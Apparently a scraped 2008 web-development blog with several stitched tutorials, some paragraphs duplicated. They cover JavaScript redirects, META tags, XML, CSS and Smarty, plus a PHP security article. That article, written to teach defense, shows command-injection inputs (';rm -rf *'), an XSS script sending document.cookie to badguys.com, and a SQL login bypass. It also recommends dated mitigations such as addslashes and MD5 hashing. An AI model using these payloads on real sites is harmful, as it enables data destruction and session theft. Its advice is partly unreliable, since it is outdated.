Do you have multiple entrances to your site and looking for a client-side solution that can redirect your visitors to the preferred entrance?
For example, you may have multiple domain names pointing to the same site -- domain_a.com, domain_b.com and domain_c.com.
Do you have multiple entrances to your site and looking for a client-side solution that can redirect your visitors to the preferred entrance?
For example, you may have multiple domain names pointing to the same site -- domain_a.com, domain_b.com and domain_c.com. Although you want to keep all of your domains either because you want to reserve those names, because your marketing department convinced you that having multiple names pointing to the same site will attract more visitors or some other reason, you may prefer that the visitors end up at the same domain. You may want to redirect visitors from domain_b.com and domain_c.com to domain_a.com for example.
Following is a client-side solution to redirecting visitors to your preferred domain. Simply copy and paste it on to your home page just below the tag.
<script type="text/javascript" language="JavaScript">
<!--
if( -1 == location.href.
toLowerCase().
indexOf('domain_a.com') )
{
location.href = 'http://domain_a.com';
}
// -->
</script>
bove code will check if domain_a.com is a part of the current URL. If not, it will automatically redirect the visitor to http://domain_a.com. One of the advantages is that this code will work even if you have a single version of your home page that has multiple domain names pointing to it.
Of course you can modify the same code to redirect to a specific page URL as well.
NOTE : Be sure to use only the required portion of your URL and to enter it in lowercase inside the function "indexOf()". If your complete URL is http://www.mycompany.com/mypage.html, but you can get to the same page using just mycompany.com/mypage.html, use the latter version of the URL. On the other hand, use the full URL for location.href.
The following code will redirect visitors to http://www.mycompany.com/mypage.html only if mycompany.com/mypage.html is not a part of the URL they typed:
<script type="text/javascript" language="JavaScript">
<!--
if( -1 == location.href.
toLowerCase().
indexOf('mycompany.com/mypage.html') )
{
location.href =
'http://www.mycompany.com/mypage.html';
}
// -->
</script>
If you run your own web server, have unique IP addresses for your multiple domains or your web space provider is able to redirect visitors otherwise, you maybe able to implement a server-side solution to redirect visitors instead.
Friday, July 4, 2008
Redirecting your visitors to the preferred form of your URL using JavaScript
How can browser specific content be delivered using JavaScript?
If you have a need to deliver browser specific web pages and if you don't have a server-side script to do this with, take a look at the following HTML/JavaScript code:
<SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript">
<!--
if( -1 != navigator.userAgent.
indexOf ("AOL") )
{
// load America Online version
location.href="aol.htm";
}
else
if( -1 != navigator.userAgent.
indexOf ("MSIE") )
{
// load Microsoft Internet
// Explorer version
location.href="msie.htm";
}
else
if( -1 != navigator.userAgent.
indexOf ("Mozilla") )
{
// load Netscape version
location.href="netscape.htm";
}
else
{
// load other version
location.href="other.htm";
}
-->
</SCRIPT>
You can simply plug in above tags after replacing "netscape.htm" with the URL to your Netscape specific page, "other.htm" with your generic page's URL, "MSIE.htm" with the Microsoft Internet Explorer version of the page, etc.
How to hide JavaScript code from non-JavaScript enabled browsers
Its easy to hi Javascript from Non-javascript based browsers..just use the script like done below :
<SCRIPT LANGUAGE="JavaScript" TYPE="text/javascript">
<!--
... your JavaScript code goes here ...
... this code will be hidden from ...
... non-JavaScript enabled browsers ...
//-->
</SCRIPT>
Top 7 PHP Security Blunders
PHP is a terrific language for the rapid development of dynamic Websites. It also has many features that are friendly to beginning programmers, such as the fact that it doesn't require variable declarations. However, many of these features can lead a programmer inadvertently to allow security holes to creep into a Web application. The popular security mailing lists teem with notes of flaws identified in PHP applications, but PHP can be as secure as any other language once you understand the basic types of flaws PHP applications tend to exhibit.
In this article, I'll detail many of the common PHP programming mistakes that can result in security holes. By showing you what not to do, and how each particular flaw can be exploited, I hope that you'll understand not just how to avoid these particular mistakes, but also why they result in security vulnerabilities. Understanding each possible flaw will help you avoid making the same mistakes in your PHP applications.
PHP is a terrific language for the rapid development of dynamic Websites. It also has many features that are friendly to beginning programmers, such as the fact that it doesn't require variable declarations. However, many of these features can lead a programmer inadvertently to allow security holes to creep into a Web application. The popular security mailing lists teem with notes of flaws identified in PHP applications, but PHP can be as secure as any other language once you understand the basic types of flaws PHP applications tend to exhibit.
In this article, I'll detail many of the common PHP programming mistakes that can result in security holes. By showing you what not to do, and how each particular flaw can be exploited, I hope that you'll understand not just how to avoid these particular mistakes, but also why they result in security vulnerabilities. Understanding each possible flaw will help you avoid making the same mistakes in your PHP applications.
Security is a process, not a product, and adopting a sound approach to security during the process of application development will allow you to produce tighter, more robust code.
Unvalidated Input Errors
One of -- if not the -- most common PHP security flaws is the unvalidated input error. User-provided data simply cannot be trusted. You should assume every one of your Web application users is malicious, since it's certain that some of them will be. Unvalidated or improperly validated input is the root cause of many of the exploits we'll discuss later in this article.
As an example, you might write the following code to allow a user to view a calendar that displays a specified month by calling the UNIX cal command.
$month = $_GET['month'];
$year = $_GET['year'];
exec("cal $month $year", $result);
print "<PRE>";
foreach ($result as $r) { print "$r
"; }
print "</PRE>";
This code has a gaping security hole, since the $_GET[month] and $_GET[year] variables are not validated in any way. The application works perfectly, as long as the specified month is a number between 1 and 12, and the year is provided as a proper four-digit year. However, a malicious user might append ";ls -la" to the year value and thereby see a listing of your Website's html directory. An extremely malicious user could append ";rm -rf *" to the year value and delete your entire Website!
The proper way to correct this is to ensure that the input you receive from the user is what you expect it to be. Do not use JavaScript validation for this; such validation methods are easily worked around by an exploiter who creates their own form or disables javascript. You need to add PHP code to ensure that the month and year inputs are digits and only digits, as shown below.
$month = $_GET['month'];
$year = $_GET['year'];
if (!preg_match("/^[0-9]{1,2}$/", $month)) die("Bad month, please re-enter.");
if (!preg_match("/^[0-9]{4}$/", $year)) die("Bad year, please re-enter.");
exec("cal $month $year", $result);
print "<PRE>";
foreach ($result as $r) { print "$r
"; }
print "</PRE>";
This code can safely be used without concern that a user could provide input that would compromise your application, or the server running it. Regular expressions are a great tool for input validation. They can be difficult to grasp, but are extremely useful in this type of situation.
You should always validate your user-provided data by rejecting anything other than the expected data. Never use the approach that you'll accept anything except data you know to be harmful -- this is a common source of security flaws. Sometimes, malicious users can get around this methodology, for example, by including bad input but obscuring it with null characters. Such input would pass your checks, but could still have a harmful effect.
You should be as restrictive as possible when you validate any input. If some characters don't need to be included, you should probably either strip them out, or reject the input completely.
Access Control Flaws
Another type of flaw that's not necessarily restricted to PHP applications, but is important nonetheless, is the access control type of vulnerability. This flaw rears its head when you have certain sections of your application that must be restricted to certain users, such as an administration page that allows configuration settings to be changed, or displays sensitive information.
You should check the user's access privileges upon every load of a restricted page of your PHP application. If you check the user's credentials on the index page only, a malicious user could directly enter a URL to a "deeper" page, which would bypass this credential checking process.
It's also advisable to layer your security, for example, by restricting user access on the basis of the user's IP address as well as their user name, if you have the luxury of writing an application for users that will have predictable or fixed IPs. Placing your restricted pages in a separate directory that's protected by an apache .htaccess file is also good practice.
Place configuration files outside your Web-accessible directory. A configuration file can contain database passwords and other information that could be used by malicious users to penetrate or deface your site; never allow these files to be accessed by remote users. Use the PHP include function to include these files from a directory that's not Web-accessible, possibly including an .htaccess file containing "deny from all" just in case the directory is ever made Web-accessible by adiminstrator error. Though this is redundant, layering security is a positive thing.
For my PHP applications, I prefer a directory structure based on the sample below. All function libraries, classes and configuration files are stored in the includes directory. Always name these include files with a .php extension, so that even if all your protection is bypassed, the Web server will parse the PHP code, and will not display it to the user. The www and admin directories are the only directories whose files can be accessed directly by a URL; the admin directory is protected by an .htaccess file that allows users entry only if they know a user name and password that's stored in the .htpasswd file in the root directory of the site.
/home
/httpd
/www.example.com
.htpasswd
/includes
cart.class.php
config.php
/logs
access_log
error_log
/www
index.php
/admin
.htaccess
index.php
You should set your Apache directory indexes to 'index.php', and keep an index.php file in every directory. Set it to redirect to your main page if the directory should not be browsable, such as an images directory or similar.
Never, ever, make a backup of a php file in your Web-exposed directory by adding .bak or another extension to the filename. Depending on the Web server you use (Apache thankfully appears to have safeguards for this), the PHP code in the file will not be parsed by the Web server, and may be output as source to a user who stumbles upon a URL to the backup file. If that file contained passwords or other sensitive information, that information would be readable -- it could even end up being indexed by Google if the spider stumbled upon it! Renaming files to have a .bak.php extension is safer than tacking a .bak onto the .php extension, but the best solution is to use a source code version control system like CVS. CVS can be complicated to learn, but the time you spend will pay off in many ways. The system saves every version of each file in your project, which can be invaluable when changes are made that cause problems later.
Session ID Protection
Session ID hijacking can be a problem with PHP Websites. The PHP session tracking component uses a unique ID for each user's session, but if this ID is known to another user, that person can hijack the user's session and see information that should be confidential. Session ID hijacking cannot completely be prevented; you should know the risks so you can mitigate them.
For instance, even after a user has been validated and assigned a session ID, you should revalidate that user when he or she performs any highly sensitive actions, such as resetting passwords. Never allow a session-validated user to enter a new password without also entering their old password, for example. You should also avoid displaying truly sensitive data, such as credit card numbers, to a user who has only been validated by session ID.
A user who creates a new session by logging in should be assigned a fresh session ID using the session_regenerate_id function. A hijacking user will try to set his session ID prior to login; this can be prevented if you regenerate the ID at login.
If your site is handling critical information such as credit card numbers, always use an SSL secured connection. This will help reduce session hijacking vulnerabilities since the session ID cannot be sniffed and easily hijacked.
If your site is run on a shared Web server, be aware that any session variables can easily be viewed by any other users on the same server. Mitigate this vulnerability by storing all sensitive data in a database record that's keyed to the session ID rather than as a session variable. If you must store a password in a session variable (and I stress again that it's best just to avoid this), do not store the password in clear text; use the sha1() (PHP 4.3+) or md5() function to store the hash of the password instead.
if ($_SESSION['password'] == $userpass) {
// do sensitive things here
}
The above code is not secure, since the password is stored in plain text in a session variable. Instead, use code more like this:
if ($_SESSION['sha1password'] == sha1($userpass)) {
// do sensitive things here
}
The SHA-1 algorithm is not without its flaws, and further advances in computing power are making it possible to generate what are known as collisions (different strings with the same SHA-1 sum). Yet the above technique is still vastly superior to storing passwords in clear text. Use MD5 if you must -- since it's superior to a clear text-saved password -- but keep in mind that recent developments have made it possible to generate MD5 collisions in less than an hour on standard PC hardware. Ideally, one should use a function that implements SHA-256; such a function does not currently ship with PHP and must be found separately.
For further reading on hash collisions, among other security related topics, Bruce Schneier's Website is a great resource.
Cross Site Scripting (XSS) Flaws
Cross site scripting, or XSS, flaws are a subset of user validation where a malicious user embeds scripting commands -- usually JavaScript -- in data that is displayed and therefore executed by another user.
For example, if your application included a forum in which people could post messages to be read by other users, a malicious user could embed a <script> tag, shown below, which would reload the page to a site controlled by them, pass your cookie and session information as GET variables to their page, then reload your page as though nothing had happened. The malicious user could thereby collect other users' cookie and session information, and use this data in a session hijacking or other attack on your site.
<script>
document.location =
'http://www.badguys.com/cgi-bin/cookie.php?' +
document.cookie;
</script>
To prevent this type of attack, you need to be careful about displaying user-submitted content verbatim on a Web page. The easiest way to protect against this is simply to escape the characters that make up HTML syntax (in particular, < and >) to HTML character entities (< and >), so that the submitted data is treated as plain text for display purposes. Just pass the data through PHP's htmlspecialchars function as you are producing the output.
If your application requires that your users be able to submit HTML content and have it treated as such, you will instead need to filter out potentially harmful tags like <script>. This is best done when the content is first submitted, and will require a bit of regular expressions know-how.
The Cross Site Scripting FAQ at cgisecurity.com provides much more information and background on this type of flaw, and explains it well. I highly recommend reading and understanding it. XSS flaws can be difficult to spot and are one of the easier mistakes to make when programming a PHP application, as illustrated by the high number of XSS advisories issued on the popular security mailing lists.
SQL Injection Vulnerabilities
SQL injection vulnerabilities are yet another class of input validation flaws. Specifically, they allow for the exploitation of a database query. For example, in your PHP script, you might ask the user for a user ID and password, then check for the user by passing the database a query and checking the result.
SELECT * FROM users WHERE name='$username' AND pass='$password';
However, if the user who's logging in is devious, he may enter the following as his password:
' OR '1'='1
This results in the query being sent to the database as:
SELECT * FROM users WHERE name='known_user' AND pass='' OR '1'='1';
This will return the username without validating the password -- the malicious user has gained entry to your application as a user of his choice. To alleviate this problem, you need to escape dangerous characters from the user-submitted values, most particularly the single quotes ('). The simplest way to do this is to use PHP's addslashes() function.
$username = addslashes($_POST["username"]);
$password = addslashes($_POST["password"]);
But depending on your PHP configuration, this may not be necessary! PHP's much-reviled magic quotes feature is enabled by default in current versions of PHP. This feature, which can be disabled by setting the magic_quotes_gpc php.ini variable to Off, will automatically apply addslashes to all values submitted via GET, POST or cookies. This feature safeguards against inexperienced developers who might otherwise leave security holes like the one described above, but it has an unfortunate impact on performance when input values do not need to be escaped for use in database queries. Thus, most experienced developers elect to switch this feature off.
If you're developing software that may be installed on shared servers where you might not be able to change the php.ini file, use code to check that status of magic_quotes_gpc and, if it is turned on, pass all input values through PHP's stripslashes() function. You can then apply addslashes() to any values destined for use in database queries as you would normally.
if (get_magic_quotes_gpc()){
$_GET = array_map('stripslashes', $_GET);
$_POST = array_map('stripslashes', $_POST);
$_COOKIE = array_map('stripslashes', $_COOKIE);
}
SQL injection flaws do not always lead to privilege escalation. For instance, they can allow a malicious user to output selected database records if the result of the query is printed to your HTML output.
You should always check user-provided data that will be used in a query for the characters '",;() and, possibly, for the keywords "FROM", "LIKE", and "WHERE" in a case-insensitive fashion. These are the characters and keywords that are useful in a SQL insertion attack, so if you strip them from user inputs in which they're unnecessary, you'll have much less to worry about from this type of flaw.
Error Reporting
You should ensure that your display_errors php.ini value is set to "0". Otherwise, any errors that are encountered in your code, such as database connection errors, will be output to the end user's browser. A malicious user could leverage this flaw to gain information about the internal workings of your application, simply by providing bad input and reading the error messages that result.
The display_errors value can be set at runtime using the ini_set function, but this is not as desirable as setting it in the ini file, since a fatal compilation error of your script will still be displayed: if the script has a fatal error and cannot run, the ini_set function is not run.
Instead of displaying errors, set the error_log ini variable to "1" and check your PHP error log frequently for caught errors. Alternatively, you can develop your own error handling functions that are automatically invoked when PHP encounters an error, and can email you or execute other PHP code of your choice. This is a wise precaution to take, as you will be notified of an error and have it fixed possibly before malicious users even know the problem exists. Read the PHP manual pages on error handling and learn about the set_error_handler() function.
Data Handling Errors
Data handling errors aren't specific to PHP per se, but PHP application developers still need to be aware of them. This class of error arises when data is handled in an insecure manner, which makes it available to possible interception or modification by malicious parties.
The most common type of data handling error is in the unencrypted HTTP transmission of sensitive data that should be transmitted via HTTPS. Credit card numbers and customer information are the most common types of secured data, but if you transmit usernames and passwords over a regular HTTP connection, and those usernames and passwords allow access to sensitive material, you might as well transmit the sensitive material itself over an unencrypted connection. Use SSL security whenever you transmit sensitive data from your application to a user's browser. Otherwise, a malicious eavesdropper on any router between your server and the end user can very easily sniff the sensitive information out of the network packets.
The same type of risk can occur when applications are updated using FTP, which is an insecure protocol. Transferring a PHP file that contains database passwords to your remote Webserver over an insecure protocol like FTP can allow an eavesdropper to sniff the packets and reveal your password. Always use a secure protocol like SFTP or SCP to transmit sensitive files. Never allow sensitive information to be sent by your application via email, either. An email message is readable by anyone who's capable of reading the network traffic. A good rule of thumb is that if you wouldn't write the information on the back of a postcard and put it through the mail, you shouldn't send it via email, either. The chance anyone will actually intercept the message may be low, but why risk it?
It's important to minimize your exposure to data handling flaws. For example, if your application is an online store, is it necessary to save the credit card numbers attached to orders that are more than six months old? Archive the data and store it offline, limiting the amount of data that can be compromised if your Webserver is breached. It's basic security practice not only to attempt to prevent an intrusion or compromise, but also to mitigate the negative effects of a successful compromise. No security system is ever perfect, so don't assume that yours is. Take steps to minimize the fallout if you do suffer a penetration.
Configuring PHP For Security
Generally, most new PHP installations that use recent PHP releases are configured with much stronger security defaults than was standard in past PHP releases. However, your application may be installed on a legacy server that has had its version of PHP upgraded, but not the php.ini file. In this case, the default settings may not be as secure as the default settings on a fresh install.
You should create a page that calls the phpinfo() function to list your php.ini variables and scan them for insecure settings. Keep this page in a restricted place and do not allow public access to it. The output of phpinfo() contains information that a potential hacker might find extremely useful.
Some settings to consider when configuring PHP for security include:
1. register_globals: The boogeyman of PHP security is register_globals, which used to default to "on" in older releases of PHP but has since been changed to default to "off". It exports all user input as global variables. Check this setting and disable it -- no buts, no exceptions. Just do it! This setting is possibly responsible for more PHP security flaws than any other single cause. If you're on a shared host, and they won't let you disable register_globals, get a new host!
2. safe_mode: The safe mode setting can be very useful to prevent unauthorized access to local system files. It works by only allowing the reading of files that are owned by the user account that owns the executing PHP script. If your application opens local files often, consider enabling this setting.
3. disable_functions: This setting can only be set in your php.ini file, not at runtime. It can be set to a list of functions that you would like disabled in your PHP installation. It can help prevent the possible execution of harmful PHP code. Some functions that are useful to disable if you do not use them are system and exec, which allow the execution of external programs.
Thursday, July 3, 2008
What are Meta Tags and how they work ?
The main purpose of HTML is to enable web authors to specify structural information about their pages - for example tables, paragraphs, images and so on. However, it also provides a way of adding information about the page and its content. Such information is known as metadata, and is added through the use of the <META> tag.
The tag can also be used to create the equivalent of HTTP (HyperText Transfer Protocol) headers, which can provide instructions to the browser.
Introduction
The main purpose of HTML is to enable web authors to specify structural information about their pages - for example tables, paragraphs, images and so on. However, it also provides a way of adding information about the page and its content. Such information is known as metadata, and is added through the use of the <META> tag.
The tag can also be used to create the equivalent of HTTP (HyperText Transfer Protocol) headers, which can provide instructions to the browser.
This article will describe the most common uses of the META tag. It is not intended to be a definitive list; new metadata is being created and used all the time, for various purposes. If you are interested in metadata, you may be interested to read Janus Boye's article RDF - What's in it for us?.
Using the META tag to provide information
All META tags should be placed within the HEAD section of your web pages. When using META to provide information about your page, the general syntax is as follows:
<META NAME="dataname" CONTENT="datavalue">
In the above line, dataname is a specific identifier for the information you are providing. The browser (or other program) looks at this name and then decides how to treat the data. The information itself is represented by datavalue. In this section we'll be looking at the most common types of metadata and how they are typically used.
Description
This is simply a basic description of the page's content, in a few sentences. Search engines often use it to display a brief page summary in the search results. An example might be:
<META NAME="description" CONTENT="An article about metadata and the META tag.">
Author
Another self-explanatory one; this is usually used to display the name of the person who wrote the page's content (or, in some cases, the designer of the page, if this is different).
<META NAME="author" CONTENT="Michael Bednarek">
Keywords
This is the metadata that everyone is talking about, although in reality its effectiveness is overhyped. The Keywords item allows you to specify a number of themed words and phrases which may be associated with that web page in some particular way. For example, some keywords associated with this article might be: metadata, META tag, search engines, HTTP, HTML, etc. etc.
When you search for something in a search engine, you generally type in a few words (or perhaps a phrase) related to what you are looking for. The engine then matches up the keywords you have entered with the pages stored in its database. This is why people have been going nuts over the META keywords tag; they think that if you don't have it on each page, and don't have an extensive list of words, then you won't get very good search engine results.
In fact, only three of the major search engines (AltaVista,InfoSeek, HotBot) give any importance to META tags - the others base their results upon a page's actual content. However, it is still worth adding META keywords to your pages if you want good results in those engines. Words and phrases are treated differently - so for example, you would need to include the phrase "web authoring" as well as the two individual words "web" and "authoring" for best results. Here's an example tag:
<META NAME="keywords" CONTENT="metadata, META tag, meta, keywords, search engines">
Robots
Finally, there is the Robots item. This is also related to search engines, in a way. A robot is a program which will visit a web page, index it somewhere, and then visit all the hyperlinks in that page, indexing them all. It may continue in this fashion indefinitely, or it may stop after it has reached a certain level. Search engines often send a robot round to your site, in order to add all its pages to their database.
Sometimes you may not want certain pages on your site to appear in a search engine. These might be pages containing sensitive information, or those which should not be viewed outside of a frameset. You can use the META tag to provide instructions to robots visiting a page - you can tell them not to index the page, or not to follow any of the links on it, or both.
Here are examples of some of the combinations you can use:
<META NAME="robots" CONTENT="NOINDEX,NOFOLLOW">
<META NAME="robots" CONTENT="NOINDEX,FOLLOW">
<META NAME="robots" CONTENT="INDEX,NOFOLLOW">
<META NAME="robots" CONTENT="INDEX,FOLLOW">
The last line in this list is in fact the default setting, so you wouldn't ever need to use it in practice.
Using the META tag to control the browser
As I mentioned in the introduction to this article, the META tag can also be used to generate the equivalent of HTTP headers. In practice, this means you can control the behaviour of the user's browser.
Preventing a page from being cached
There may be occasions when you would want to prevent a page from being cached locally on the user's computer, and thus force the browser to load a fresh copy each time. One example of this might be a webcam which is automatically updated every few seconds - if the user visited at a later date, the browser might show them the cached (and therefore outdated) version.
There are in fact three META tag variates which you should use to cause this behaviour. This is because they are accepted in different browsers. The first, Expires, is actually supposed to specify an expiry date for the web page. However, if you leave the value as 0, then it treats it as "now", and therefore asks for a new version of the page every time. The other two, Pragma and Cache Control, are specifically designed to prevent (or control) caching, and should take a value of "no-cache". So, to prevent your page being cached in most browsers, you should use the following lines:
<META HTTP-EQUIV="Expires" CONTENT="0">
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Cache-Control" CONTENT="no-cache">
Incidentally, if you wish for your page to expire at a later date, you can specify the date in the following format (using GMT time):
<META HTTP-EQUIV="Expires" CONTENT="Thu, 03 Aug 1999 09:30:00 GMT">
Redirecting the browser to another URL
With web hosting services becoming cheaper and cheaper, many people decide to change the location of their web sites from free ISP space to professional server space. This relocation obviously causes confusion, because visitors to the site will still try to use the old URL. What many people do is keep one page at the old address which, when visited, will automatically send the user on to the site's new home. This can be easily achieved using the META tag, which will redirect the user either instantly or after a given time delay.
For example, the line below will redirect the visitor to irt.org after ten seconds, giving them enough time to read about what's going on:
<META HTTP-EQUIV="Refresh" CONTENT="10;URL=http://www.irt.org">
Conclusion
META tags can be very useful additions to your web pages, especially if you would like more control over how the search engines treat your site. Although the keywords and description tags are the most well known, the other forms of metadata can also prove to be helpful.
The Difference Between CSS and XSLT
Cascading Style Sheets or CSS were developed a few years ago to define the look and feel of markup languages. Extensible Style Sheet Language for Transformations or XSLT were created to transform documents. They are both style sheets, but they serve vastly different purposes.
Cascading Style Sheets or CSS were developed a few years ago to define the look and feel of markup languages. Extensible Style Sheet Language for Transformations or XSLT were created to transform documents. They are both style sheets, but they serve vastly different purposes.
What CSS Can Do
* Modify the font size, color, family, and style of text in markup
* Define the location and size of an element
* Change the background image and color of elements
* Create a new look and feel for markup pages to display on the Web
What CSS Cannot Do
* Change the order of elements in a document
* Make computations based on the content of the document
* Add content to the document
* Combine multiple documents into one
XSLT is a powerful language for transforming documents. It was created to allow developers the ability to create data and then transform it to various different formats. It is meant to keep the distinction between content and design separate.
What XSLT Can Do
* convert data in a standard XML format to SQL statements, tab-delimited text files, or other database formats for data sharing
* transform XSLT style sheets into new style sheets
* turn Web pages (written in XHTML) to VoiceML or XHTML Basic for handheld devices
* add CSS style sheets to XML documents for view in a browser
If all you're looking for is a style sheet to manipulate the way your content looks in a document, then you should use CSS. But if you're looking to actually transform one document into another, then XSLT is your tool.
Anatomy of an XML Document
Whether you're writing XML from scratch, or writing a document from a pre-defined specification there is a standard layout for XML. Here is a standard XML document:
<?xml version="1.0"?>
<workorder priority="high" datedue="09/30/2001">
<submitter>
<name first="Jennifer" last="Kyrnin" />
<email>html.guide@about.com</email>
<account number="11001100" />
</submitter>
<project title="update aa051198.htm article">
<url>http://webdesign.about.com/library/weekly/aa051198.htm</url>
<description>
Please convert this article to the new article look and feel, with the side navigation and information.
</description>
</project>
</workorder>
Whether you're writing XML from scratch, or writing a document from a pre-defined specification there is a standard layout for XML. Here is a standard XML document:
<?xml version="1.0"?>
<workorder priority="high" datedue="09/30/2001">
<submitter>
<name first="Jennifer" last="Kyrnin" />
<email>html.guide@about.com</email>
<account number="11001100" />
</submitter>
<project title="update aa051198.htm article">
<url>http://webdesign.about.com/library/weekly/aa051198.htm</url>
<description>
Please convert this article to the new article look and feel, with the side navigation and information.
</description>
</project>
</workorder>
If you look closely at this markup, you will be able to determine its structure. The first part of the structure is the XML declaration, <?xml version="1.0"?>. Everything after that is an element of the XML document. The container element is <workorder>. This element contains all the other elements and surrounds them all. Inside of that element are the specialized elements that describe the rest of the document, such as <submitter>, <project>, and <account>.
Here is a more visual tree view of the structure:
Each of the elements are in red, with any attributes in dark blue, and contents in black.
This tree can have many more branches and sub-branches. Each branch represents an element, which can have attributes or not, and content or not.
The Prolog
This is the most vital part of our document. It tells the browser or parser that this document is marked up in XML. This prolog is actually a part of HTML as well, but most HTML authors leave it out. In HTML the prolog might look like this:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
This tells browser that this document will be using HTML 4.0 Transitional. The prolog in an XML document tells the computer that it's using XML and what version.
But the prolog for an XML document can also contain:
* the DTD or schema being used
* declarations of special pieces of text
* text encoding
* XML processor instructions
Elements
After the prolog, come the structure of the XML document, the elements. The most important thing to remember is that there must be a container element for your XML document. In fact, your document can be made up of one element alone:
<?xml version="1.0"?>
<topelement>
This XML document is a well-formed document, but it only has one element. This is OK. It is still a correct XML document.
</topelement>
How to add a javascripts to a web page
You can add a script anywhere inside the head or body sections of your document. However, to keep your document well structured there are some basic guidelines: This will not be displayed if JavaScript is enabled
* Most scripts can go inside the document head. This keeps them out of the way of the main document content.
* If your script needs to run at a certain stage during page layout (for example, if it uses document.write to create content), it should be put at the correct stage of the document, almost always somewhere inside the document body. If the script is very small, then put it all where it will be used. If it is larger, then put it inside the head inside a function, and you can then call that function when you need it.
* If your script is used on more than one page, or if it is of any significant size, then put it in its own file, and load it in the document head. Not only will this help to keep the clutter of the document, but it will also help avoid potential syntax problems (I will cover these later). As an extra benefit, these can be used by multiple pages, allowing browsers to use their cache, and saving bandwidth for you and your visitors.
You can add a script anywhere inside the head or body sections of your document. However, to keep your document well structured there are some basic guidelines:
* Most scripts can go inside the document head. This keeps them out of the way of the main document content.
* If your script needs to run at a certain stage during page layout (for example, if it uses document.write to create content), it should be put at the correct stage of the document, almost always somewhere inside the document body. If the script is very small, then put it all where it will be used. If it is larger, then put it inside the head inside a function, and you can then call that function when you need it.
* If your script is used on more than one page, or if it is of any significant size, then put it in its own file, and load it in the document head. Not only will this help to keep the clutter of the document, but it will also help avoid potential syntax problems (I will cover these later). As an extra benefit, these can be used by multiple pages, allowing browsers to use their cache, and saving bandwidth for you and your visitors.
To insert JavaScript into a web page, use the <script> tag. You should use the type attribute to specify the type of script being used, which in the case of JavaScript is text/javascript. It is also possible to the language attribute to say what JavaScript version you are using. In practice, this number means very little to browsers. They may claim to support a specific version, but will have vastly different capabilities. All JavaScript supporting browsers currently in use will support a level of JavaScript equivalent to JavaScript 1.2 (represented as "javascript1.2") or higher, so this is what I will teach you in this tutorial.
Browsers will generally choose an arbitrary version number that they will claim to support, and will run any script that has either no language version number, or a version equal to or lower than the one they claim to support. Since the language is so unreliable, you should generally omit this attribute, although it is common to see scripts using it. Your script can then detect if the browser is capable of running your script, and it can do this a lot more accurately than the version number can.
This is an example of a script tag, used to include a script in your page:
<script type="text/javascript">
//JavaScript
<script>
If your script is incapable of providing its own fallback, but it is needed to access the page, you should include support for non-JavaScript browsers by using:
<noscript>
</noscript>
Making rounded cornders in CSS
Just wanted to let you know the dotted CSS borders trick and the subject of rounded corners in CSS came up so thats been showed in this method. There are other ways that its done, but the other methods always require lots of complex HTML and CSS. Just figure that lots of nested divs aren’t much better than using a table, so this way doesn’t require much in the way of HTML or CSS. Here’s how it cane be done.
Create four images for your corners. Most graphics programs have a tool that will create rounded-off squares. square will be used here…
…and the corners are cut off of for the four images
In the spot where the box to show up is wanted, just create a container div to hold the box, a div for the top row and a div for the bottom row. Between the top and bottom rows, the content should be added. In the top and bottom row divs, add the left corner image and set the inline style to read display: none;. This makes the image invisible unless , make it visible through the stylesheet. That way, it can hide the effect from incompatible browsers by not showing them the stylesheet.
<div class="roundcont">
<div class="roundtop">
<img src="tl.gif" alt=""
width="15" height="15" class="corner"
style="display: none" />
</div>
<p>Lorem ipsum dolor sit amet, consectetur adipisicing
elit, sed do eiusmod tempor incididunt ut labore et
dolore magna aliqua. Ut enim ad minim veniam, quis
nostrud exercitation ullamco laboris nisi ut aliquip
ex ea commodo consequat. Duis aute irure dolor in
reprehenderit in voluptate velit esse cillum dolore eu
fugiat nulla pariatur. Excepteur sint occaecat cupidatat
non proident, sunt in culpa qui officia deserunt mollit
anim id est laborum.</p>
<div class="roundbottom">
<img src="bl.gif" alt=""
width="15" height="15" class="corner"
style="display: none" />
</div>
</div>
The CSS sets the width and background color of the container object and the color of the text inside. The margins on interior paragraphs are set so that the text doesn’t sit right up against the edge of the box.
Then the top and bottom divs are given a background image that contains the right corner images and the left corner images from the HTML code are enabled.
.roundcont {
width: 250px;
background-color: #f90;
color: #fff;
}
.roundcont p {
margin: 0 10px;
}
.roundtop {
background: url(tr.gif) no-repeat top right;
}
.roundbottom {
background: url(br.gif) no-repeat top right;
}
img.corner {
width: 15px;
height: 15px;
border: none;
display: block !important;
}
Thursday, June 12, 2008
Smarty - The successfull PHP Template Engine
Smarty is a PHP template engine written by Monte Ohrt and Andrei Zmievski. Yet another template engine you say? The authors (and I too) would disagree. Smarty is different from the rest of the pack. What differentiates Smarty from other template engines like FastTemplate and patTemplate is that Smarty compiles your templates into PHP scripts, eliminating the overhead incurred in parsing the templates every time they're accessed. This makes Smarty very scalable for large applications and high-traffic Websites ...and if that didn't make any sense to you, just take it that Smarty is very fast and would work well in stressful and high-traffic conditions!
The Smarty template engine has several other outstanding features besides template compilation, and we'll discuss these a little later. But first, let's de-mystify template compilation...
Template Compilation Explained
What does 'compilation of templates' mean, anyway? What do Web pages have to do with compiling? Isn't compiling something C++ and JAVA programmers do? Yes - but this is a different sort of compilation.
Smarty parses your templates and creates PHP scripts from them (instead of binaries, as in general programming). Then, when your Web page is viewed, Smarty reads from these PHP scripts instead of pulling the templates themselves, which saves the work of having to parse your templates again. Smarty is smart about when to compile, too: it only re-compiles your templates when you make changes to them, so you don't have to worry about manually compiling the templates (this is similar to JSP, if you're aware of how it works).
The good thing about this is that you don't even have to know the PHP scripts are there, nor how compiling works. It's all hidden from view, so if you employ template designers to work on your templates, they (or you, if you design your own templates) don't have to know that Smarty is a 'compiling template engine'.
Caching
Smarty also features built-in caching of your template outputs. Smarty caches the output of the template contents, saving the overhead expense involved in retrieving your data from a data source. This data source would usually be external and slow, and is often the bottleneck in your application, like a remote database. Smarty caches the output of your template with this data from your data source, and saves you from having to connect to the database every time your Web page is accessed. If you have a slow-responding database server or are making multiple queries to your database, this caching feature would greatly improve the performance and responsiveness of your Web pages.
Of course, there are cases when you don't actually want your template output to be cached, for instance, a stock ticker or situation where you constantly make changes to your database, which need to be immediately reflected on your Web pages. No problem! Smarty is again smart enough to allow you to specify what should or should not be cached.
